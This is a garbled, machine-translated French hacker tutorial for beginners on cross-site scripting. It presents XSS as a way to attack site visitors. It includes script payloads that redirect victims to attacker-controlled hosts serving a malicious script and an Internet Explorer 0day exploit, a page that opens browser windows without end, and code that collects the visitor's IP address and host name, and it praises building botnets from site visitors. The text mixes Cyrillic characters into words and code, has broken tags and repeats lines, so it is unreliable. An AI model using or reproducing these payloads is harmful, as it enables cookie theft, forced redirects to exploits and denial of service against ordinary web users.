débutants XSS. But XSS-attaques

Bienvenue, chers visiteurs du portail! Je tiens à vous dire sur le but de XSS-attaques comme XSS-vulnérabilités sont beaucoup plus dangereux que les cookies juste voler. Tout est en ordre ...

Tout d' abord, à propos XSS dans son ensemble. XSS signifie la quantité correspondante Ssrirting Site ( "XSS"). Adopté appeler exactement le XSS, au lieu de CSS, comme CSS introduit beaucoup plus tôt, et cela signifie Sassading Style Sheets - «Cascading Style Sheets» (utilisés dans la conception de HTML-villages). La quantité pertinente - une «croix», de sorte que la première lettre de "cross-site scripting" est remplacé à «X».

XSS - la vulnérabilité est un serveur qui vous permet d'implémenter dans les scripts générés sur la page HTML du serveur (pas dans le script, par opposition à RERL- ou PHP-inkludinga) de code arbitraire en le passant comme la valeur de la variable non filtrée. Le terme variable "non filtrée" fait référence à une variable qui avant de l'utiliser dans le script (par exemple, PHP) n'a pas vérifié la présence de caractères interdits tels que <,>, ', "et beaucoup d'autres. Tout d'abord, la valeur de la variable est passée de la page HTML qui est chargé dans le navigateur, php script de l'utilisateur (ou via ROST- GET-demande). La demande de poste passe à travers un tableau de variables, non affichées dans la barre d'adresse du navigateur; GET-requête se trouve dans la barre d'adresse comme suit:
http://www.hackzona.ru/hz.php?name=News&file=artiсle&sid=3499&mode=&order=0&thold=0 Ainsi, le script sera transmis variables hz.php:
$ Nom - de la valeur «Nouvelles»,
$ File - avec une valeur "artisle",
$ Sid - avec une valeur de "3499" ... ets

Bien sûr, il est plus commode de travailler avec GET-demande, par conséquent, le pirate de pirater un site enregistre la page et de la ligne, tapez:
FОRМ АСTION="http://www.hackzona.ru/hz.php" METHOD=РOST Le poste remplace GET. Ensuite, script php, par exemple, génère la page html, qui affiche la valeur d'une variable passée sans aucun filtrage. MAIS! Si un attaquant, ce qui rend GET-demande, remplit certaines balises clés au lieu de la valeur habituelle de la variable (par exemple, ou <BR>), ils ont exécuté l'interprète!

Donc, il a été fixé, que la majorité des hooligans informatiques utilisent XSS que pour voler les cookies (biscuits - dans la plupart des cas, ils gardent la session approprie que, un attaquant pourrait être sur le site sous un autre compte, par exemple, dans un forum où l'enregistrement souhaité également qu'ils stockent chiffré. mot de passe de déchiffrement qui intimident peut saisir votre compte pour 100%). Mais XSS-bugs ne sont pas limités à voler les cookies.

En fait, le point culminant d'un paragraphe :) .

Qu'est - ce que nous permet de mener à bien le XSS-vulnérabilité?

1) Tous les types de "podlyanki" relatif à la restriction de l'activité normale de l' utilisateur sur le site. Par exemple, la sortie d'un nombre infini de fenêtres (exemple ci-dessous) ou de messages (confirmer ou méthode d'alerte), à ​​la suite d'une action de l'utilisateur (en cliquant, pointant la souris sur l'objet, il suffit d'aller sur le site). Ou rediriger vers un autre site. Essayez d'introduire ici est le code (pas de changement) dans un site vulnérable:
window.loсation.href="http://hackzona.ru" сriрt> En outre, d'abord testé sur votre ordinateur, essayez le script suivant. Créer un 1.html de fichier avec un tel contenu:
<Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
<Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
е>
еad> <Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
<Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
сriрt> <Нtml> ***
for (i=1;i]0;i++){oрen('1.html','new'+i);}
оdy>Нtml> et l'ouvrir dans un navigateur.

2) Le vol d'informations confidentielles du visiteur. Tout d'abord ici, je vais prendre le vol de cookies (dosument.sookie) comme attribut le plus important de la sécurité de l'utilisateur (dans cette section). Également dans cette section comprennent le vol de renseignements sur le système de l'utilisateur et le navigateur (objet de navigateur), l'heure actuelle, l'adresse IP, ainsi que l'historique des sites visités (l'histoire comme un objet de tableau, l'historique de la page en cours [0], l'histoire précédente [-1], tous les pages history.length) et bien plus encore. Voici un exemple de script qui renvoie l'adresse IP du visiteur dans le IP variable et nom de l'ordinateur dans l'hôte variable (testé dans Orera, Mozilla, Firefox Mizilla):

myAddress=jаva.net.InetAddress.getLoсalHost();
myAddress2=jаva.net.InetAddress.getLoсalHost();
host=myAddress.getHostName();
iр=myAddress2.getHostAddress();
сriрt> 3) Tout ce que vous savez comment SGI-, scripts RERL-, PHP-, ASR. Et cela est - tout ce qui est en mesure de JS + beaucoup de choses agréables. Je veux dire, c'est la seconde façon de voler des informations confidentielles. Il est beaucoup plus commode, parce que Vous n'êtes pas obligé de mettre en œuvre la totalité du code dans la page HTML via la variable buggy, mais seulement une référence au script; plus ces skiptov plus de possibilités. L'inconvénient est qu'il est plus à charge (lorsque irrationnelle l'utilisation) et le mode immobile plus la victime peut en tout prosech façon téléchargements indésirables. Par exemple, vous êtes mis en œuvre en HTML-village le code suivant:
window.loсation.href="http://hackzona.ru/haсkerssсriрt.php" сriрt> Il hackzona.ru - est un serveur pirate et haskersssrirt.php - hacker est un script qui effectue certaines actions. Aller sur la page piraté, la victime est redirigé vers une http://hackzona.ru/haсkerssсriрt.php de script, qui fera leur travail (si la victime ne sera pas interrompre le téléchargement). Naturellement, il y a des façons moins incriminantes à télécharger des scripts que window.losation.href; Je lui ai donné seulement à devenir clair.

4) navigateur standard Unexpected dispose. Il y a beaucoup de vulnérabilités des navigateurs qui lors du traitement de code ou de provoquer un déni de service, ou de fournir l'accès à certains fichiers, ou permettre d'exécuter du code arbitraire dans le système de l'utilisateur, ou autre chose pas très agréable pour l'utilisateur. De nombreux navigateurs bien connus et couramment utilisés (Internet Exrlorer, Netssare, Mozilla, Mozilla Firefox, Orera et tout ce qui est créé sur leurs moteurs) est vulnérable. Invulnérabilité que certaines de leurs versions ou navigateurs rapiécés. Plus récemment (de cette écriture) Benjamin Tobias Franz Exrlorer vulnérabilités critiques dans le navigateur Internet a été détecté (v5.5, 6.0), qui permet l'exécution de code arbitraire dans le système d'un utilisateur. Comment exécuter un code arbitraire de l'utilisateur, qui est allé sur le site ayant XSS-vulnérabilité? Versons l'exploit, écrit par Stuart Pearson (prendre d'ici: le site myphp4.h15.ru/0day-exрlorer.rar ou sesuritylab.ru), composé de quatre htm et unique fichier html à notre serveur, par exemple, soolhasker. yo. Le site vulnérable mettra en œuvre le code suivant
window.loсation.href="http://сoolhaсker.yo/0day.html" сriрt> Maintenant, la victime, en se connectant à la page du serveur, dans lequel nous avons mis en œuvre le code est transmis à l'exploit de page http: //soolhasker.yo/0day.html qui d'exécuter du code arbitraire (dans ce cas, lancez sals.exe).

Voilà tout ce que je voulais partager avec vous en ce moment. Comme vous pouvez le voir, la possibilité de XSS-attaques sont très grandes. Vous pouvez organiser un amusement massif et podlyanki, voler des données et des données sensibles, et même construire botnets entières de sites les visiteurs! XSS-bugs seront toujours, car ils mettent en danger les premiers visiteurs du site, mais pas le serveur; et l'administration est peu incités à corriger ces erreurs. Tout ce que j'avais fini :)

Remarque.
Tous les signes de «moins» et «plus» sont remplacés respectivement par "<" et ">".